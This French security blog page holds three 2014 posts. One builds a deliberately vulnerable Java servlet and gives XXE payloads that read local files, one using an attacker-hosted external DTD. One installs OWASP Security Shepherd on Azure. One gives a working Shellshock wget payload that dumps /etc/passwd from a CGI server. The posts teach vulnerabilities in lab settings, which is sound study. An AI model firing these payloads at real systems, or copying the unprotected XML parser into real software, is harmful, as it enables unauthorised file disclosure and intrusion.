samedi 20 décembre 2014

Une faille XXL: l’attaque XXE

En 2013 certains experts en sécurité incluant ceux de VSR affirmait percevoir une augmentation du nombre d’attaques autour de XXE (http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf ).

L’objectif de cet article est de créer un environnement de démonstration de ces vulnérabilités.

XML est très populaire et on le retrouve utilisé dans de nombreux protocoles réseau dont WebDAV, CalDAV, XMLRPC, SOAP, XMPP, SAML, XACML et d’autres encore.

Un document XML se base sur une grammaire permettant de vérifier sa conformité, appelé DTD (Document Type Definition). Ces DTD sont bien connus comme étant une source de problèmes de sécurité.

Des entités peuvent être déclarées dans le DTD pour définir des variables. Ces entités internes permettent de définir des règles de substitution d’un élément par un autre dans le document XML. Mais ces entités peuvent aussi être externes et dans ce cas faire référence à des ressources qui peuvent être le système de fichier local ou un ordinateur distant.

Tout d’abord on doit avoir une application de test permettant de parser un document XML pour générer un document formatté. Pour cela nous aller créer une servlet Java.

Voici le code de la servlet:

   1: package com.mycode.example;
   2:  
   3: import java.io.IOException;
   4: import java.io.PrintWriter;
   5: import java.io.StringReader;
   6:  
   7: import javax.servlet.ServletException;
   8: import javax.servlet.http.HttpServlet;
   9: import javax.servlet.http.HttpServletRequest;
  10: import javax.servlet.http.HttpServletResponse;
  11: import java.io.*;
  12: import javax.xml.parsers.DocumentBuilder;
  13: import javax.xml.parsers.DocumentBuilderFactory;
  14: import org.w3c.dom.Document;
  15: import org.w3c.dom.Element;
  16: import org.w3c.dom.Node;
  17: import org.w3c.dom.NodeList;
  18: import org.xml.sax.InputSource;
  19:  
  20: /**
  21:  * Servlet implementation class VulnerableServlet
  22:  */
  23: //@WebServlet("/VulnerableServlet");
  24: public class VulnerableServlet extends HttpServlet {
  25:     private static final long serialVersionUID = 1L;
  26:        
  27:     /**
  28:      * @see HttpServlet#HttpServlet()
  29:      */
  30:     public VulnerableServlet() {
  31:         super();
  32:         // TODO Auto-generated constructor stub
  33:     }
  34:  
  35:     /**
  36:      * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
  37:      */
  38:     protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  39:         // TODO Auto-generated method stub
  40:         doPost(request, response);
  41:         //super.doGet(request, response);
  42:     }
  43:  
  44:     /**
  45:      * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
  46:      */
  47:     protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  48:         // TODO Auto-generated method stub
  49:         try {
  50:             response.setContentType("text/html");
  51:             PrintWriter out = response.getWriter();
  52:             if (request.getParameter("xmldata") == null) {
  53:                 out.println("<form method=\"post\" action=\"VulnerableServlet\"><textarea name=\"xmldata\" cols=75 rows=25>Input XML data here.</textarea><input type=\"submit\" value=\"Submit\"</form>");
  54:             } else {
  55:                 StringReader reader = new StringReader( request.getParameter("xmldata") );
  56:                 InputSource inputSource = new InputSource( reader );
  57:                 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
  58:                 DocumentBuilder db = dbf.newDocumentBuilder();
  59:                 Document doc = db.parse(inputSource);
  60:                 reader.close();
  61:                 doc.getDocumentElement().normalize();
  62:                 out.println("Root element " + doc.getDocumentElement().getNodeName() + "<br>");
  63:                 NodeList nodeLst = doc.getElementsByTagName("employee");
  64:                 out.println("Information of all employees" + "<br>");
  65:                 for (int s = 0; s < nodeLst.getLength(); s++) {
  66:                     Node fstNode = nodeLst.item(s);
  67:                     if (fstNode.getNodeType() == Node.ELEMENT_NODE) {
  68:                         Element fstElmnt = (Element) fstNode;
  69:                         NodeList fstNmElmntLst = fstElmnt.getElementsByTagName("firstname");
  70:                         Element fstNmElmnt = (Element) fstNmElmntLst.item(0);
  71:                         NodeList fstNm = fstNmElmnt.getChildNodes();
  72:                         out.println("First Name : " + ((Node) fstNm.item(0)).getNodeValue() + "<br>");
  73:                         NodeList lstNmElmntLst = fstElmnt.getElementsByTagName("lastname");
  74:                         Element lstNmElmnt = (Element) lstNmElmntLst.item(0);
  75:                         NodeList lstNm = lstNmElmnt.getChildNodes();
  76:                         out.println("Last Name : " + ((Node) lstNm.item(0)).getNodeValue() + "<br>");
  77:                     }
  78:                 }
  79:             }
  80:         } catch (Exception e) {
  81:             e.printStackTrace();
  82:         }
  83:  
  84:         //super.doPost(request, response);
  85:     }
  86:  
  87: }

Cette servlet est exécutée dans un environnement Apache/Tomcat avec Eclipse et on obtient:


image


Voici un document XML standard:



   1: <?xml version="1.0"?>
   2: <company>
   3:     <employee>
   4:         <firstname>Jo</firstname>
   5:         <lastname>Black</lastname>
   6:     </employee>
   7:     <employee>
   8:         <firstname>John</firstname>
   9:         <lastname>Doe</lastname>
  10:     </employee>
  11:     <employee>
  12:         <firstname>Bob</firstname>
  13:         <lastname>Smith</lastname>
  14:     </employee>
  15: </company>

Si on saisit ce document XML dans notre servlet on obtient:


image


Si maintenant on intègre une entité externe pour obtenir le contenu du fichier “C:\Windows\win.ini” alors le document XML devient:



   1: <?xml version="1.0"?>
   2: <!DOCTYPE company[
   3:     &lt;!ENTITY c SYSTEM "file:///c:/windows/win.ini">
   4: ]>
   5: <company>
   6:     <employee>
   7:         <firstname>Jo</firstname>
   8:         <lastname>Black</lastname>
   9:     </employee>
  10:     <employee>
  11:         <firstname>John</firstname>
  12:         <lastname>Doe</lastname>
  13:     </employee>
  14:     <employee>
  15:         <firstname>&c;Bob</firstname>
  16:         <lastname>Smith</lastname>
  17:     </employee>
  18: </company>

Et on obtient comme prévu le contenu du fichier “win.ini”:


image


Dans le document XML précédent aucune référence n’est faite à un DTD externe. Le DTD malicieux est construit dans le document XML lui-même. Nous allons maintenant compliquer un peu les choses pour récupérer le contenu d’un fichier qui se trouve dans un fichier “zip”. Et pour cela nous intégrons un DTD externe que nous hébergeons nous-mêmes.


Le contenu du document XML permettant de récupérer le fichier “eclipse.ini” qui se trouve dans le fichier “D:/Program Files/eclipse-jee-luna-SR1-win32-x86_64.zip” est le suivant:



   1: <?xml version="1.0"?>
   2: <!DOCTYPE company[
   3:     &lt;!ENTITY % start "<![CDATA[">
   4:     <!ENTITY % goodies SYSTEM "jar:file:///D:/Program Files/eclipse-jee-luna-SR1-win32-x86_64.zip!/eclipse/eclipse.ini">
   5:     <!ENTITY % end "]]>"> 
   6:     <!ENTITY % externalDTD SYSTEM "http://monserveur/external1.dtd"> 
   7:     %externalDTD;
   8: ]>
   9: <company>
  10:     <employee>
  11:         <firstname>Jo</firstname>
  12:         <lastname>Black</lastname>
  13:     </employee>
  14:     <employee>
  15:         <firstname>John</firstname>
  16:         <lastname>Doe</lastname>
  17:     </employee>
  18:     <employee>
  19:         <firstname>&all;Bob</firstname>
  20:         <lastname>Smith</lastname>
  21:     </employee>
  22: </company>

On obtient le contenu du fichier “eclispe.ini” comme prévu:


image


Pour permettre cette opération le contenu de notre DTD malicieux situé dans http://monserveur/external1.dtd est:



   1: <?xml version="1.0" encoding="UTF-8"?> 
   2: <!ENTITY all "%start;%goodies;%end;">

Source: Attacking Server Side XML Parsers By Kingcope http://www.exploit-db.com/wp-content/themes/exploit/docs/16093.pdf

dimanche 7 décembre 2014

Le berger, la tête dans les nuages

J’ai fait plusieurs fois référence à SecurityShepherd dans ce blog.Bien que l’outil ne soit pas parfait car chaque attaque semble être codée “en dur”, je le trouve très intéressant pour organiser un CTF ou simplement animer une formation.
Mais pour cela il faut un serveur capable d’encaisser les essais plus ou moins offensifs des étudiants à la recherche de vulnérabilités avec leurs outils préférés tels que BurpSuite ou Zap. C’est pourquoi l’installation de ce serveur dans le “cloud” permet d’adapter les performances à vos besoins, et de ne payer que lorsque le serveur est utilisé.
Personnellement j’ai opté pour la formule “Pay On The Go” de Microsoft Azure, et je suis totalement satisfait.
Voici donc les étapes de cette installtion et la description du contournement des difficultés que j’ai pu rencontrer.
  • Télécharger “Security Shepherd Manual Pack”
  • Installer Apache Tomcat 7
   1: sudo apt-get install tomcat7

   2: sudo apt-get install tomcat7-docs tomcat7-admin tomcat7-examples



  • Installer MySql, en utilisant le mot de passe par défaut (contenu dans “readme.txt”) ou pas (c’est préférable)


 

   1: sudo apt-get install mysql-server 



  • Extraire la contenu du package


 

   1: sudo apt-get install unzip

   2: unzip SecurityShepherd%20v2.1%20Manual%20Pack.zip



  • Copier les fichiers “sql” que l’on vient d’extraire dans le répertoire “bin” de MySql


 

   1: sudo cp *.sql /usr/bin



  • Ouvrir MySql en ligne de commande et exécuter les fichiers “SQL”


 

   1: mysql -u root

   2: source core.sql 

   3: source exposedSchema.sql 



  • Aller dans le répertoire “webapps” de votre Tomcat et supprimer tous les répertoires déjà présents, puis déplacer les fichiers “WAR” dans le répertoire “webapps”


 

   1: cd /var/lib/tomcat7/webapps

   2: sudo rm -rf ROOT

   3: sudo cp /home/azureuser/securityshepherd/*.war .



  • Démarrer Tomcat


 

   1: sudo service tomcat7 restart

Si vous regrettez de ne pas avoir donné un mot de passe spécifique pour MySql, il est encore possible de le changer de la manière suivante:


 

   1: mysqladmin -u root password VotreMotDePasse

Puis de modifier le mot de passe  MySql dans le fichier “site.properties”


 

   1: cd /var/lib/tomcat7/webapps/ROOT/WEB-INF

   2: vi site.properties

   3:    ...

   4:    databasePassword=VotreNouveauMotDePasse

Connectez-vous ensuite sur le portail de SecurityShepherd et authentifiez-vous avec “admin / password” (valeurs par défaut) pour changer votre mot de passe

http://votre_environnement.cloudapp.net/

Si comme moi vous n’arrivez pas à changer le mot de passe de vos utilisateurs dans l’interface web, voici une proposition de contournement temporaire qui vous permet d’associer à vos utilisateurs le mot de passe de l’utilisateur “admin”:


 

   1: mysql -u root

   2: show databases;

   3: use core;

   4: show tables;

   5: select * from users where userName="admin";

Vous pouvez alors récupérer la valeur du champ “userPass”, puis affecter cette valeur au champ “userPass” de votre utilisateur:


 

   1: update users set 

   2: userPass="302c.................................ab4a" 

   3: where userName="admin"


Source: OWASP Security Shepherd (https://www.owasp.org/index.php/OWASP_Security_Shepherd)


samedi 6 décembre 2014

Shellshock pour les nuls

La vague Shellshock est passée. Mais ce cas reste très intéressant à étudier et comprendre. C’est pourquoi je le partage avec vous mon expérimentation. Souvenez-vous que cette faille était présente dans “bash” depuis 25 ans. Ca fait frémir!

Comment détecter que votre serveur est faillible?
Normalement lorsque dans une console “bash” vous saisissez:
   1: env x=’ceci est un test’

Vous obtenez:

   1: ceci est un test

Alors que si vous entrez:

   1: env x='() { :;}; echo vulnerable' bash -c "echo ceci est un test"

Vous obtenez:

   1: vulnerable

   2: ceci est un test

et vous êtes faillible

Pourquoi? Explications

La chaine magique “(){ code;} permet de faire en sorte que le code qui la suit est exécuté dans le “bash”. Cette chaîne correspond à la déclaration d’une méthode.

Comment monter un exemple d’attaque?

Du côté de votre serveur “cible” faillible, créer un site web (un petit script “cgi”) qui contient:

   1: #!/bin/bash

   2: echo "Content-type: text/plain"

   3: echo 

   4: echo

   5: echo 

   6: "Coucou"

Vous notez que votre “cgi” est en “#!/bin/bash”

Du côté de votre machine attaquante, vous lancez la commande:

   1: wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://adresse_de_la_cible/cgi-bin/test.cgi

Et vous récupérez un fichier “test.cgi” qui contient, devinez-quoi, le contenu du fichier “/etc/passwd” de la machine “cible”. Vous comprendrez pourquoi je ne présente pas dans cet article le contenu de mon fichier “/etc/passwd”.

Pour comprendre ce qui vient de se passer, vous pouvez avec Wireshark enregistrer les requètes échangées et on y trouve:

image

Pourquoi? Explications

L’option “–U” de la requète “wget” permet de préciser le “user-agent”. Le protocole HTTP autorise en effet les clients à s’identifier eux-mêmes en utilisant le champ “User-Agent” du “header”

Et les spécifications de “CGI” font correspondre aux champs du “header” une variable d’environnement. Et paf, notre chaîne magique du type “() { code;}“ peut être exécutée dans chacune de ces variables d’environnement

C’est gagné!


Sources:

Partager avec...